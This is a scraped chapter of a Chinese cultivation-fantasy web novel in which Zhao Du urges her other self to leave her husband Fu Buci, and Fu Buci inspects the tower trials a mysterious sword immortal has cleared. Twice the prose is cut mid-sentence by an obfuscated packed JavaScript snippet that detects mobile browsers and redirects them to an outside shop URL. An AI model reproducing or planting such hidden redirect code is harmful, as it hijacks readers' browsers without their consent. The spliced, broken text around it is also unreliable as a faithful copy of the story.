但见长风烈烈,剑吟如龙,恢宏的声音自待仙塔传出,穿透云层,传向四海,与千万道霞光,以及浮现在藏剑塔顶的巨剑虚影,一同昭告天下:剑仙出世,剑昭日月,百邪退散,天下清平! 朝渡打量着待仙塔顶端那恢宏震撼的巨剑虚影,心中略有疑惑:是无论几个剑仙同时问世都只有一个虚影吗?还是因为待仙塔默认她与另一个自己是一个人? 另一个朝渡侧头倾听着剑吟之声,默默看了霞光与剑影许久,忽然喃喃道:“我有点理解你说的‘天地辽阔’,以及‘之外的风景’了……真壮观啊……也确实很有趣。” “是吧?”朝渡忽然向她伸出了手,在长风与霞光中,笑问,“要不要跟我一起走,离开这里,去过另一种生活?” 另一个朝渡有些失神,刹那间,她仿佛已经顺着朝渡伸来的手,看到了“另一种生活”: 或是逍遥天地,快意自在,山川作友,风云随行。 或是飞升成仙,超脱轮回,登云巅之境,与日月同寿。 或是成为一代宗师,开宗立派,广传剑法,门人无数。 这一瞬间,仿佛她的未来还有无限可能。 她伸出手,指尖甚至控制不住地微微颤抖。 枯寂已久的心,已许久没有如此澎湃过了。 她的指尖已几乎要碰到朝渡的手。 朝渡微微一笑,就要握住她的手,却见她猛地将手收了回去。 朝渡疑惑地“嗯”了一声。 另一个朝渡声音轻颤,目光复杂:“我走不了的。如果我忽然消失,不辞他定会找我到天涯海角,掘地三尺也要把我找出来。” 随即她苦笑了一下:“虽然不是因为他现在有多爱我,而是因为我是盟主夫人,死也必须死个明白。如果我跟他商量想出门‘游历’几年,只会引起他的疑心,可能还会把你暴露出来。” 朝渡微笑道:“这个好说,既然如此,那你就‘死’得明白点。” 另一个朝渡愣住。 朝渡:“别紧张,不是让你真死,而是来一招金蝉脱壳,假死脱身。” 另一个朝渡的眼睛亮了亮,又忽然摇了摇头:“不对,我只是想要他重新爱我,怎么现在变成要假死离开他了?” 朝渡心道她这里怎么如此警觉,无奈解释:“这两者不冲突,你留在他身旁多年也没能改变他心意,倒不如离开他去外面闯闯,说不定这反而是能让你们重新开始的机缘呢?” “……好像有道理。”另一个朝渡喃喃道,眸中重新燃起希望的小火苗,“那……” 朝渡再次伸出手。 另一个朝渡忽然又摇头:“不行,真的走不了,我还有忆昔!” 朝渡愣了一下才想起来忆昔是谁。 “你可以带你的孩子一起走。”朝渡提议道。 另一个朝渡望向远处,茫然片刻,缓而坚定地摇头:“若她跟我一起走,不但前途不明,还会失掉她作为仙盟盟主之子,本该拥有的大好前程的!你知道‘仙盟盟主之子’意味着什么吗?!我们一路走来吃了多少苦,但她不用啊!” 朝渡轻叹:“所以你觉得你给不了忆昔比‘仙盟盟主之子’更光辉的身份,给不了她更好的前程,给不了她除了身份和前程之外,更宝贵的东西。” “更宝贵的东西……”另一个朝渡愣了愣,反问,“还有什么?” “那可太多了。”朝渡看她,似笑非笑道,“我以为你至少会说‘一个人的真心’是比身份和前程都更宝贵的。” 另一个朝渡的脸红了红,小声道:“这只是对我来说。” 朝渡叹了口气,又道:“而且你以为她留在这里就能有好身份和好前程,但这些说不定未来会变成她的枷锁呢?” 另一个朝渡不解问:“怎么会变成枷锁呢?” 朝渡淡淡一笑,只道:“命运从来无常。而且修仙说到底,修的是自己,其它都是身外之物。” 另一朝渡久久沉默无言。 朝渡轻叹,望着远处四面八方涌向待仙塔的“灰白鸟群”,那是仙盟的众多修仙者。 他们有的是天赋卓绝根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577580|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨不凡的天才,有的是刻苦修炼扭转命运的榜样,各个都是百里挑一甚至千里挑一的,是其他修仙者见了都要恭敬三分的,常人艳羡的身份与前途已是他们的掌中之物。 可他们此刻从山下涌来崖顶的待仙塔,像是一群灰白色的鸟,根本辨不出谁是谁。 修仙的人太多了,连天才都多如过江之鲫,密如栖林之鸟。 修仙的路也太长太苦了。若没有些坚定到决绝的勇气,没有要将自己千锤百炼的觉悟,如何走下去,走得远,走得上云巅,成为真正的仙? “罢了。”朝渡淡然道,已懒得再劝她离开。 另一个朝渡讷讷问:“怎么突然就罢了?” 朝渡以臂为枕,躺倒于地,望着天穹上的万丈霞光,懒懒道:“你既然不想走,说明时机不到,我何必强求。” “我也不是不想走……我是不能走。”另一个朝渡努力解释,“我不能把忆昔带走,也不能把她一个人留这,苏柔蕊还有其他贱人一直紧盯着我们母女俩,我一走,她可能会有性命之忧的!” 朝渡懒懒笑了笑:“傅不辞这么无能吗?连自己孩子的命都护不住?那给忆昔的好身份好前程又谈何说起?别以后还要让忆昔去联姻,好帮他自己稳固地位获得更大好处。” 另一个朝渡默然,过了好一会才小声道:“忆昔到底是他唯一的孩子,他应该至少能护住她的命,可挡不住忆昔会被那些贱人在暗地里欺负啊!还有联姻,他应该至少会尊重忆昔她自己的想法吧,让忆昔嫁一个自己喜欢的……其实我也不知道该怎么办了,我想跟你走,但我怕我一走,忆昔会受欺负,忆昔会想我……是不是我留在这里陪着忆昔好好长大,是对她最稳妥最好的一条路了?” 朝渡叹了口气,看得出对方其实不想走。人各有所求,又或许是时机不到,她现在已懒得再辩驳建议什么。 另一个朝渡小心翼翼地看着她,忽然眼前一亮,似有了新的好主意:“要不你来教忆昔吧!有你做她的老师,我放心!” 朝渡:“……”她扭头看向兴奋激动的另一个自己,许久不曾感觉如此累了。 心累。 “不要。”朝渡干净利落地拒绝了,“我只是因你而来,其他人与我无关。” “可忆昔是我生的,她也算你的孩子吧?你就教教她怎么了!”另一个朝渡不死心地劝道,“而且她比我还聪明的,你就试试嘛!” 朝渡似笑非笑地看她:“按你的说法,那傅不辞也算我夫君了?” “啊?这……不太好吧……你不是看不上他吗?他其实很多缺点的……”另一个朝渡支支吾吾。 朝渡轻轻笑了笑:“那确实,我可看不上他,他也配?” 另一个朝渡明显松了口气。 朝渡:“……” 她默默望天,理解不了,真的理解不了,这个自己到底中了什么迷魂药啊?! 朝渡几近绝望地闭上眼,又听另一个自己激动道:“他来了!他也看到了剑仙出世的征兆!可他不知道那是我们……他不知道我也闯过了第十层……” 朝渡懒懒睁开一只眼,看向待仙塔:塔前灰白色的“鸟群”自动分开了一条路,有一只新的“鸟”在“群鸟”的簇拥下,飞到了待仙塔的巨剑虚影前。 ………… 不久前,傅不辞还在与人探讨天雷之事时,忽然听到了浩荡的剑鸣龙吟之声,随即收到侍卫急报:天生异象! 他一步移出宫殿,看着天上的万丈霞光,远处山巅的巨剑虚影,先是震惊,继而脸色逐渐黑到了极点,甚至捏碎了手中凌家关于天雷的秘传记载。 剑仙出世,却不是他。 却不是他?! 还能是谁?! 答案几乎瞬间浮现在了他的脑海中:今天那个引起天雷的人。 此人竟然在引发天雷后,只用了不到一天的时间,就通过了待仙塔的十层?! “游藏可有捉住闯塔之人?”傅不辞皱眉问属下。 属下们面面相觑:“不知道,不曾收到副盟主的消息。” 傅不辞已等不及消息,一拂袖,径直御风飞向远处山峰上的巨剑虚影。 14. 傅不辞 傅不辞来到待仙塔时,塔上方是万丈霞光与巨剑虚影,下方是一群兴奋议论的仙盟中人,还有神色复杂的游副盟主。 却不见半点“剑仙”的踪迹。 傅不辞落到游藏身前,冷声问:“这么多人,没拦住从塔里出来的人?” 一群仙盟精英纷纷低头。 游藏上前一步,低声道:“盟主息怒!此人能在一天内闯过待仙塔十层,想来修为极其了得,属下在塔外设了三层阵法,也未能将此人捉住。” 傅不辞一声冷笑,又问:“那可看清闯塔的人是谁?” 游藏:“此人隐匿功夫了得,竟未留下半点气息……” 傅不辞已难遏怒意:“你若只会夸对面了得厉害,倒也不必当这副盟主了!还有你们,要你们何用!废物!” 惶恐不安的人群中,游藏主动请罪道:“属下无能,愿由盟主责罚,但此人连闯十层,必然在待仙塔留下了些踪迹!请盟主允许属下派人调查塔内踪迹,将功补过!” 傅不辞点头:“好,立刻去查,一丝一毫的痕迹都不能放过!如果查不到,责罚翻倍!” “是!”游藏领命,迅速安排道,“陆星霜,你拿着这把钥匙,把待仙塔完全打开,带九人去查待仙塔中可少了哪些神兵,要快!另外五十人分十组,把待仙塔的十层阵法挨个搜寻一遍!一个角落都不能错过!遇到可疑之处迅速来报!” 傅不辞听着游藏利落安排,忽然想起了一个模糊的身影,许久之前,她也是这般能干,可惜现在废了。 傅不辞微微摇头,不屑再去想那无用之人,重新思索起今天那频引异象的人:此人究竟是谁?来自哪里?有何目的?下一步会做什么? 他正凝神思索着,忽见一人冲出待仙塔,想来是有要事要禀告。 果然,那人直奔他和游藏身前,声音紧张不安:“报!启禀盟主副盟主!已排查完待仙塔九层,共少了十二柄剑!” “十二柄?!”饶是傅不辞也惊了一下,他猜到这人缺兵器,但哪个人会要十二把剑?难道其实引起异象与闯待仙塔的并非一个人,而是一群人?! 游藏追问:“星霜,这十二柄剑都是哪层的?” 陆星霜指向待仙塔塔顶,激动道:“全是第九层的!这人居然把第九层的剑搬空了!” 周围一片寂静。 谁都知道第九层的剑意味着什么,那可各个都是榜上有名人尽皆知的神兵利器啊!甚至还有在修仙名剑谱排行前十的曜灵剑和濯天剑! 陆星霜禀告完毕,退到游藏身边,小声同上司道:“这人好厚的脸皮,居然把第九层的剑搬空了!一般不都是只带走一柄剑吗?” 游藏:“……确实脸皮不薄。” 傅不辞也听到了,不过比起此人脸皮厚薄,他更在意的是:竟然有十二柄名剑都愿意认此人为主! 连他都没有自信能够让第九层所有的剑都认他为主! 剑仙。 他的脑海中忽然冒出了这两个字,以及一个难以遏制的念头:这是真正的剑仙。 随即他猛地掐断了这个念头:不可能!剑仙只能是他! 他多年前,年少时曾闯过一次待仙塔,但只到得第六层,后来忙碌起来,没有顾得上再来,而且也出于某种顾虑——按照规定,待仙塔每人最多只能进入两次,如果那时已经身居高位的他没能进入第九第十层,以后便再也没有机会了,还会沦为很多人的笑柄! 这下倒是让这人占了先! 就算他现在再进,他也没把握能在一天内闯完十层,但凡慢一点,这就说明是他技不如人! 他绝对不允许这种情况发生! 傅不辞脸色越来越冷,一拂袖,径直走向待仙塔。 他要亲自看看,那人究竟是何方神圣。 待仙塔内各层阵法尚未重启,还能看到那闯塔者留下的痕迹。 第一层阵法内,负责此层阵法的仙盟中人正小声议论:“好像只用了一剑……” 傅不辞看了眼地上的魔物碎块,心道不过如此,小菜一碟。 继续向上走,第二层,仍是一剑。 第三层,亦是一剑。 他看到断成两截的魔蛇王时,脚步停了一下,许久前锦绣城那一晚的回忆忽然浮起,不过那时她执剑冲在最前方的背影已经模糊。 他蹙眉,怎么又想起她了,浪费时间。 人是会变的,这个道理他早就明白,既然明白,又何须挂怀? 她已无用,她那张脸他也看腻了。留她一命,留她在这个位置,他已经足够仁义,至于她能不能活着守住这个位置,那就看她自己的本事了。 继续向上,第四层,满地蛊虫尸体,不是一剑,而是一招。 傅不辞轻哼,继续往上。 第五层,不见任何魔物残骸,只有月光落在满地白色的余烬上,仿佛刚下了场安宁的雪。 傅不辞目光微凝,继续向上。 第六层,散落一地的青铜盔甲,却未见盔甲上有刀剑痕迹,周围也没见什么打斗痕迹。 这是何招式?一招制敌吗? 再看不远处的“喜轿”,那上面倒是有剑气斩断的痕迹。 傅不辞蹙眉,派人仔细查看青铜盔甲,自己先继续向上。 第七层,也没见到什么打斗痕迹,只有一缕残魂,浑浑噩噩地飘荡在洁净的月光下。 “这魂魄是谁?”傅不辞问身后跟着的游藏。此人虽然剑术平平,在修仙方面天赋相当一般,但勤恳能干,博览群书,所知甚多,是个得力助手。 游藏极快地回道:“这缕残魂本是个魔修,名为卿伈,号称织梦使,擅长幻术,被仙盟擒住后关在这里,当作第七层的考核。” “千金一梦的织梦使?”傅不辞忽然心念一动,“既然是有意识的残魂,那他应该见过闯塔者!唤醒他!我要审问他!” 游藏答了声“是”,取出一张符纸贴到了残魂上,残魂不再飘荡,定住了身,缓缓抬起头看向四周,明显神智清醒了。 傅不辞来到残魂前,高傲地打量这个仙盟的阶下囚,却听这狼狈落魄的织梦使残魂问:“哦?是你?” “你认识我?”傅不辞蹙眉,他不记得自己跟织梦使打过交道,哪怕是锦绣城那夜他也没见过织梦使。 却见那残魂微愣,随即咧开嘴角,狂笑起来:“认识,当然认识!她满脑子都是你,爱你爱到想杀了你哈哈哈!” 跟着的一群仙盟弟子没人敢吭声,傅不辞反问:“这人是谁?” 织梦使却闭口不言了,只扬起嘴角,笑吟吟地看着他。 傅不辞会意,挥手:“其他人都退下。” 片刻后,第七层只剩傅不辞和织梦使。 傅不辞:“可以说了。” “还不行哦。”织梦使抱起残破的胳膊,笑眯眯道,“这么有用的消息,可比千金都值钱。” 傅不辞蹙眉:“你想要什么?” 织梦使竖起三根手指:“我要离开这里,还要你帮我修补魂魄,再帮我找一具合适的躯体。” 傅不辞冷笑:“看起来织梦使挺会做梦的。” 织梦使不急不缓地笑道:“你先别急着拒绝,我可以保证,这绝对是对你非常关键重要的消息。” “哦?那我要如何相信你?”傅不辞不屑,“倒不如我直接找人用读魂术读了你的记忆,还省得你骗我。” “那可不行,我这般残魂可经不起读魂术,半溜就该散了。”织梦使笑眯眯道,“而且我以我千金一梦的本事保证,如果你真敢对我用读魂术,你能得到的全是我编的假消息。不如这样,我给你先透露一点点。” 傅不辞来了兴趣:“你说。” “在梦里想杀了你的,既是两个人,也是一个人。”织梦使扬起嘴角,“那可真是有趣极了,连我也是第一次见。” 傅不辞蹙眉,追问:“什么意思?什么叫既是两个人又是一个人?” 织梦使摊了摊手:“想知道的话,刚才我提出的三个条件一个都不能少。我重获新生之日,也是你知道答案之时。我建议你可要尽快,那两个人,或者说一个人,一个在梦里杀你,另一个真的能杀你,对你威胁很大哦。” 傅不辞:“……” 织梦使掩口轻笑:“我等得起,你可等不起哦。而且我不活也行,你,甘心死吗?” 傅不辞转身离去:“等着。” 织梦使笑着眯起眼:“别让我等太久哦,那人的剑可是又快又利的。” 傅不辞面容阴沉地继续向上。 那个人果然是冲着他来的。会是谁? 满脑子都是他的蠢女人有好几个,会是她们中之一吗?她们中哪个有这么大的能耐? 傅不辞回忆着自己这些年招惹过的女人,有些给他生过孩子,他印象还深点。 比如忆昔和那个女人。忆昔只是他名义上唯一的孩子,但实际上,忆昔既不是他的第一个孩子,也不是他的唯一一个孩子。 不然,他也不会同意那个傻女人给她起名忆昔,一个刚出生的小孩子有什么必要叫忆昔?去忆上辈子吗? 这名字是那傻女人叫给谁听的,他一清二楚,只是他不在乎,懒得听更懒得管。 至于没给他生过孩子的女人就更多了,有些人他连名字都不记得了,越回忆越头疼。 至于这个织梦使,他打算先稳住他,给他修补下魂魄,魂魄补得差不多了,试试直接用读魂术。 天底下精通幻术的可不止他一个,用幻术让他放下戒心,无法撒谎就可以了。 再往上一层,战斗的痕迹满城都是。 傅不辞仔细地看了一会,觉得对方实力尚在他之下,似乎不必当作大敌,那织梦使大约是在夸大其词,为的是骗他帮忙。 再往上走,是第九层。 满城的血海还未消退,城中心被斩断的巨大炉子残骸更是触目惊心。 还有一缕残魂在血海上飘荡,一直仰望着空中清亮的月亮。 傅不辞问了残魂的身份,让游藏将残魂带过来并唤醒。 符纸贴到残魂的背上,残魂缓缓低下头,把周围看了一圈,显然恢复了神智。 傅不辞正要开口问,却听魔尊残魂先问:“这世上有仙吗?” 傅不辞心头一惊,强行镇定答道:“还不曾。” 魔尊残魂又抬头看向空中明月,喃喃道:“我也记得不曾,可她说自己是,我竟也觉得她是,毕竟除了仙,谁还能有那种力量?” 傅不辞迫切追问:“哪种力量?他是谁?!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577581|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>魔尊残魂回头,冷笑:“我为何要告诉你。” 傅不辞挥退其他人,同时下令在场的任何人不得将方才听到的任何一个字透露出去。 随后他同魔尊残魂商议道:“只要你告诉我你看到的一切,我可以帮你离开这里。” “离开?”魔尊残魂不屑摇头,讽笑道,“你们这些道貌岸然诡计多端的修仙人,虽然本事不行,心眼倒多得很,谁信你们谁是傻子。” 傅不辞:“……呵。”这个倒是聪明,不过刚才可有一个傻子。 魔尊残魂望着空中明月,一声轻叹:“可惜我被困于此地,无法亲手把那仙人之躯献给师尊,真遗憾。不过,我的本体可不会错过。” 她扬起嘴角,话音未落,残魂忽然散成了万千光点,眨眼便彻底消散。 傅不辞微怔,随即沉下脸,唤游藏进来,问:“这是什么情况?魔尊残魂没了?” 游藏闭上眼,以灵观察整个第九层阵法片刻,回答道:“是的,魔尊残魂彻底消散了。或许是因为刚才唤醒了魔尊残魂的神智,让她意识到自己被囚禁于此……” 傅不辞皱起眉头:他原想以更快的速度,比如半天之内通过待仙塔第十层,把那人的势头压下去,但第九层如今直接无了。 这计划废了。 他安排道:“把第七层那个蠢货带出去,修补魂魄。” 游藏随即应是,没有半点迟疑,带着满面疑惑的下属走出第九层,前往第七层。 路上,陆星霜小声问:“这不合规矩吧?” 游藏看了她一眼,无奈:“你还不明白吗,在现在的修仙界,他就是规矩。而且他这样做,肯定有别的用意,多留点心。” 陆星霜嘿嘿笑了两声,挠了挠头:“师尊你知道我脑子没那么好使,就喜欢练剑。” “行了,知道了,练你的剑去吧。”游藏又一声无奈叹息。 …… 傅不辞继续向上走,来到了第十层的阵法。 第十层,简单到出乎他意料:只有两张石桌,每张桌上都摆着剑与茶杯。 两张石桌,或许代表着来到这里的有两个人,竟有两个人来到了第十层?! 他心绪复杂,愈发仔细地观察这两张桌子上的东西:两桌上的两个茶杯都被动过,但那两柄剑,一柄随意摆在桌边,应是被动过,一柄正正地摆在桌子一侧,像是完全没被动过。 这意味着什么? 剑与茶杯各自代表什么?空茶杯里本来装着什么? 傅不辞原地踱步:游藏应该知道,但她不在。 他有点烦躁,不耐烦地自己推测:剑应该代表战斗,但跟谁战斗?第十层究竟在考察什么? “把游藏叫过来。”他吩咐道,“要快。” 游藏很快就回来了,傅不辞在看到这个可靠副手的那瞬间,竟有些心安。 “第十层要打败的是谁?剑和茶杯是什么意思?”傅不辞问。 游藏流畅地答道:“第十层的对手是自己,选剑就要战胜自己,选茶杯,就是和自己喝茶。” 傅不辞微愣:“和自己喝茶?这么简单?” 游藏点头:“是。看情况,应该是有一人选了喝茶,直接过关,有一人先选了剑,过了关后才选了茶。” 傅不辞看向剑与茶,他在心里问自己会选什么。 几乎毫无悬念,他必然会选剑,剑修不选茶选什么。而且像他如今身居高位,无数人盯着,他更是剑从不离身。哪怕面对自己,手中也得握着剑。 可有一人居然选了茶。来到第十层,选了茶,与自己对饮。 这是何等的自信从容。 傅不辞的眉头越拧越紧,他隐隐有种不愿承认的感觉,此人的境界,或许在他之上。 不,不可能!也许只是那个人不擅长战斗才选了茶。 可第九层的十二柄神兵利器,会选择一个不擅长战斗的人做主人吗? 他转身离开阵法,前往空荡荡的第九层。 紫金色的群星间,一柄剑都没了,只剩无言的静谧,可他却能感受到这静谧中的嘲讽之意,还有那个人对他的挑衅。 那个人拿走十二柄剑,或许就是拿给他看的,这是此人给他下的战书! 他微微战栗,愤怒中夹杂着他不愿承认的隐约恐惧。 “尽快把观星宗的言掌门请过来!便说请他卜一人,此人威胁到了仙盟乃至整个修仙界!”傅不辞几乎是咬着牙道,“让岑岭去护送,不能让言可在路上出现半点差池!” 观星宗擅长占卜推演,观星宗的那位掌门言可,号称“天意亦可卜”。 傅不辞要请言掌门占卜此人的位置和身世。 看着游藏安排人去请言掌门,傅不辞心中微定,在心头冷笑:“等我找到你,便是你的死期。” “恭喜盟主,贺喜盟主!” 一个笑吟吟的声音从身后传来,傅不辞一股子无名火,转身质问自己那个病秧子谋士:“哪里值得恭喜啊?你的脑子也病了?” “当然是恭喜盟主成为剑仙,咳咳咳——”脸色苍白的谋士咳嗽着,笑着眯起了一双狭长的狐狸眼。 傅不辞正要恼:“那不是……!” 看着谋士宁长康的狡黠眼神,傅不辞忽然收声,顿时悟了。